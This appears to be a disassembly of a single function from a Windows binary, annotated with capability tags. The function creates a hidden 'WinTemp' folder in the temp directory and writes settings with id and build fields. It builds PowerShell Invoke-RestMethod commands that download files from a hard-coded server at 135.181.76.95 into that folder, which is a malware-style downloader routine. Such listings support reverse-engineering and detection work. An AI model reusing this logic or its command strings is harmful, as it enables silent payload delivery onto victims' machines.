Function at 0x1400018fb
Capabilities:
Check if file exists
Create directory
Get common file path
Set file attributes

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x428
mov ecx, 0x104
lea rsi, [rsp + 0x144]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x140001dae
lea rbx, [rsp + 0x248]
mov rdx, rsi
mov rcx, rbx
call fcn.140001554
lea rax, [rsp + 0x40]
lea r8, str.WinTemp
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x28], rax
call fcn.1400f9970
mov rcx, rbx
call fcn.1400d9110
lea rax, [rsp + 0x60]
mov rdx, qword [rsp + 0x28]
lea r8, str._settings.json
mov rcx, rax
mov qword [rsp + 0x30], rax
call fcn.1400f9a20
lea rax, [rsp + 0x80]
mov rdx, qword [rsp + 0x28]
lea r8, [0x1401020a1]
mov rcx, rax
mov qword [rsp + 0x38], rax
call fcn.1400f9a20
lea rsi, [rsp + 0xa0]
mov rdx, qword [rsp + 0x28]
lea r8, str.MSApplication.vbs
mov rcx, rsi
call fcn.1400f9a20
mov rcx, qword [rsp + 0x40]
mov rdi, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rdi
test eax, eax
mov rcx, qword [rsp + 0x60]
mov r13d, eax
setne r15b
call rdi
test eax, eax
mov rcx, qword [rsp + 0x80]
mov r12d, eax
setne r14b
call rdi
mov rcx, qword [rsp + 0xa0]
mov ebp, eax
call rdi
mov edi, eax
test r15b, r15b
je 0x140001a1c
test r14b, r14b
je 0x140001a1c
test ebp, ebp
je 0x140001b36
test eax, eax
jne 0x140001c96
jmp 0x140001b2e
test r13d, r13d
je 0x140001a2b
test r12d, r12d
je 0x140001a52
jmp 0x140001b2e
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x140001c96
mov rcx, qword [rsp + 0x40]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x140001a21
lea r12, [rsp + 0x100]
lea r8, [0x140132060]
lea rdx, str._id_:__
mov rcx, r12
call fcn.1400f99a0
lea r13, [rsp + 0x120]
lea r8, str.____build_:__
mov rdx, r12
mov rcx, r13
call fcn.1400f9970
lea rdx, [0x140132040]
mov rcx, r13
call fcn.1400da5e0
mov rdx, rax
mov rcx, rbx
lea r14, [rsp + 0xe0]
call fcn.1400df780
lea r8, [0x1401020e7]
mov rdx, rbx
mov rcx, r14
call fcn.1400f9970
mov rcx, rbx
call fcn.1400d9110
mov rcx, r13
call fcn.1400d9110
mov rcx, r12
call fcn.1400d9110
mov rdx, qword [rsp + 0x30]
mov r8d, 0x10
mov rcx, rbx
call fcn.1400c7e40
lea rcx, [rsp + 0x2a0]
call fcn.14002ac30
test al, al
jne 0x140001b0c
mov rcx, rbx
call fcn.1400c8990
mov rcx, r14
call fcn.1400d9110
jmp 0x140001b2e
mov r8, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xe0]
mov rcx, rbx
call fcn.1400f5a00
mov rcx, rbx
call fcn.1400c7820
jmp 0x140001afa
test ebp, ebp
jne 0x140001be3
lea rbp, [rsp + 0xc0]
lea rdx, str.http:__135.181.76.95_get_first
mov rcx, rbp
call fcn.140001554
lea r13, [rsp + 0x100]
mov r8, rbp
lea rdx, str.Invoke_RestMethod__Uri_
mov rcx, r13
call fcn.1400f99a0
lea r14, [rsp + 0x120]
lea r8, str.__OutFile_
mov rdx, r13
mov rcx, r14
call fcn.1400f9970
mov rdx, qword [rsp + 0x38]
mov rcx, r14
call fcn.1400da5e0
mov rdx, rax
mov rcx, rbx
lea r12, [rsp + 0xe0]
call fcn.1400df780
lea r8, str.__Method_Post
mov rdx, rbx
mov rcx, r12
call fcn.1400f9970
mov rcx, rbx
call fcn.1400d9110
mov rcx, r14
call fcn.1400d9110
mov rcx, r13
call fcn.1400d9110
mov rcx, r12
call fcn.1400017e1
mov rcx, r12
call fcn.1400d9110
mov rcx, rbp
call fcn.1400d9110
test edi, edi
jne 0x140001c96
lea rbp, [rsp + 0xc0]
lea rdx, str.http:__135.181.76.95_get_file
mov rcx, rbp
call fcn.140001554
lea r12, [rsp + 0x100]
mov r8, rbp
lea rdx, str.Invoke_RestMethod__Uri_
mov rcx, r12
call fcn.1400f99a0
lea r13, [rsp + 0x120]
lea r8, str.__OutFile_
mov rdx, r12
mov rcx, r13
call fcn.1400f9970
mov rdx, rsi
mov rcx, r13
call fcn.1400da5e0
mov rdx, rax
mov rcx, rbx
lea r14, [rsp + 0xe0]
call fcn.1400df780
lea r8, str.__Method_Post
mov rdx, rbx
mov rcx, r14
call fcn.1400f9970
mov rcx, rbx
call fcn.1400d9110
mov rcx, r13
call fcn.1400d9110
mov rcx, r12
call fcn.1400d9110
mov rcx, r14
call fcn.1400017e1
mov rcx, r14
call fcn.1400d9110
mov rcx, rbp
call fcn.1400d9110
mov rcx, rsi
call fcn.1400d9110
mov rcx, qword [rsp + 0x38]
call fcn.1400d9110
mov rcx, qword [rsp + 0x30]
call fcn.1400d9110
mov rcx, qword [rsp + 0x28]
call fcn.1400d9110
jmp 0x140001dae
add rsp, 0x428
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret